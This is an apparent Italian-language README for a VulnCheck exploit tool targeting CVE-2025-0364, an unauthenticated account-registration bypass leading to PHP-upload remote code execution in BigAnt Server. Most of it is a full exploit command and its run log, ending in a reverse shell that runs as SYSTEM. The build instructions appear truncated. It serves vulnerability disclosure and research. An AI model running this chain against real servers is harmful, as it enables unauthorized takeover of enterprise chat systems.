CVE-2025-0364: BigAntSoft BigAnt Server - Bypass della Registrazione dell'Account per RCE tramite Upload di File

Il BigAntSoft BigAnt Server, che fornisce un server di chat on-premises ospitato su Windows e focalizzato su casi d'uso aziendali, è vulnerabile all'esecuzione remota di codice non autenticata tramite la registrazione dell'account e l'upload di file PHP. La vulnerabilità sfrutta una registrazione SaaS esposta di default che consente a un aggressore di risolvere un semplice CAPTCHA e poi creare un utente amministrativo in grado di caricare file nel Cloud Storage Add-in. Il sistema consente l'upload di file PHP che possono essere attivati senza autenticazione, portando a una catena di exploit che va dalla totale assenza di autenticazione all'esecuzione remota di codice in tutte le versioni correnti, 5.6.06 e precedenti.

Il team VulnCheck ha identificato questa vulnerabilità durante il triage di CVE-2024-54761, che in realtà richiedeva l'accesso come amministratore e presentava un valore CVSS errato per i Privilegi Richiesti (PR). Il team VulnCheck ha individuato alcuni rapidi indicatori di pratiche di programmazione insicure e ha deciso di approfondire le indagini, portando alla scoperta di questo bypass dell'autenticazione e dell'esecuzione remota di codice tramite upload di file. Al momento della scoperta c'erano circa 50 server BigAnt su internet e al momento della pubblicazione di questo blog c'erano circa 30 istanze identificabili.

Consulta il nostro blog per tutti i dettagli tecnici e l'analisi completa: https://vulncheck.com/blog/bigant-cve-2025-0364

Compilazione

Se hai un ambiente di build Go a disposizione con golangci-lint e GNU make, puoi usare :

poptart@grimm $ ./build/cve-2025-0364_linux-amd64 -rhost 10.0.0.104 -rport 8000 -lhost 10.0.1.10 -lport 1337 -v -c -e -captcha-hash 652def5853ff0030a259b30af8e7facb_6e58b283a2a66e4db833ac2547019a30 -captcha-session 4fbsn0i6bdiuu6vuik99gbhndb -captcha VKZ6 time=2025-01-09T14:50:18.502-07:00 level=STATUS msg="Certificate not provided. Generating a TLS Certificate" time=2025-01-09T14:50:18.575-07:00 level=STATUS msg="Starting TLS listener on 10.0.1.10:1337" time=2025-01-09T14:50:18.575-07:00 level=STATUS msg="Starting target" index=0 host=10.0.0.104 port=8000 ssl=false "ssl auto"=false time=2025-01-09T14:50:18.575-07:00 level=STATUS msg="Validating Bigantsoft Bigant Server target" host=10.0.0.104 port=8000 time=2025-01-09T14:50:18.620-07:00 level=SUCCESS msg="Target verification succeeded!" host=10.0.0.104 port=8000 verified=true time=2025-01-09T14:50:18.620-07:00 level=STATUS msg="Running a version check on the remote target" host=10.0.0.104 port=8000 time=2025-01-09T14:50:18.650-07:00 level=VERSION msg="The reported version is 5.6.06" host=10.0.0.104 port=8000 version=5.6.06 time=2025-01-09T14:50:18.650-07:00 level=SUCCESS msg="The target appears to be a vulnerable version!" host=10.0.0.104 port=8000 vulnerable=yes time=2025-01-09T14:50:18.650-07:00 level=STATUS msg="Password that will be used for authentication: kyLZiAddnH" time=2025-01-09T14:50:18.650-07:00 level=STATUS msg="Registering SaaS org: LBJCUE ([email protected]) with password: kyLZiAddnH" time=2025-01-09T14:50:18.675-07:00 level=STATUS msg="Getting new PHP session and pinning the SaaS org to the session" time=2025-01-09T14:50:18.747-07:00 level=STATUS msg="Retrieving org SSID from demo page with session v1cir7mh9v4dfv4ik54mhq6so0" time=2025-01-09T14:50:18.764-07:00 level=STATUS msg="Retrieved SSID for LBJCUE: 387360F0-EECD-622B-5B90-C37F2BBD45B3" time=2025-01-09T14:50:18.765-07:00 level=STATUS msg="Activating SaaS organization" time=2025-01-09T14:50:22.627-07:00 level=STATUS msg="Authenticating to the addin SaaS admin" time=2025-01-09T14:50:22.673-07:00 level=STATUS msg="Visiting SaaS addin cloud drive page" time=2025-01-09T14:50:22.762-07:00 level=STATUS msg="Got cloud drive root path UUID: 99C8911A-DCB3-E5F2-4298-1E3567AA0DAD" time=2025-01-09T14:50:22.762-07:00 level=STATUS msg="Attempting to upload `JQsaYCKEOu.php` to cloud drive addin" time=2025-01-09T14:50:22.819-07:00 level=STATUS msg="Attempting to trigger final payload, timeout is expected after callback" time=2025-01-09T14:50:22.819-07:00 level=STATUS msg="Requesting final payload at: http://10.0.0.104:8000/data/387360F0-EECD-622B-5B90-C37F2BBD45B3/pan/99C8911A-DCB3-E5F2-4298-1E3567AA0DAD/2025-01-09/JQsaYCKEOu.php" time=2025-01-09T14:50:22.821-07:00 level=SUCCESS msg="Caught new shell from 10.0.0.104:51690" time=2025-01-09T14:50:22.821-07:00 level=STATUS msg="Active shell from 10.0.0.104:51690" Microsoft Windows [Version 10.0.17763.107] (c) 2018 Microsoft Corporation. All rights reserved. C:\Program Files (x86)\BigAntSoft\IM Console\im_webserver\htdocs\data\387360F0-EECD-622B-5B90-C37F2BBD45B3\pan\99C8911A-DCB3-E5F2-4298-1E3567AA0DAD\2025-01-09>whoami whoami nt authority\system C:\Program Files (x86)\BigAntSoft\IM Console\im_webserver\htdocs\data\387360F0-EECD-622B-5B90-C37F2BBD45B3\pan\99C8911A-DCB3-E5F2-4298-1E3567AA0DAD\2025-01-09>^C

cve-2025-0364

Più Popolari

Esempio di Sfruttamento

Recupero del CAPTCHA

CAPTCHA Risolto per la Registrazione dell'Account SaaS e RCE tramite Upload PHP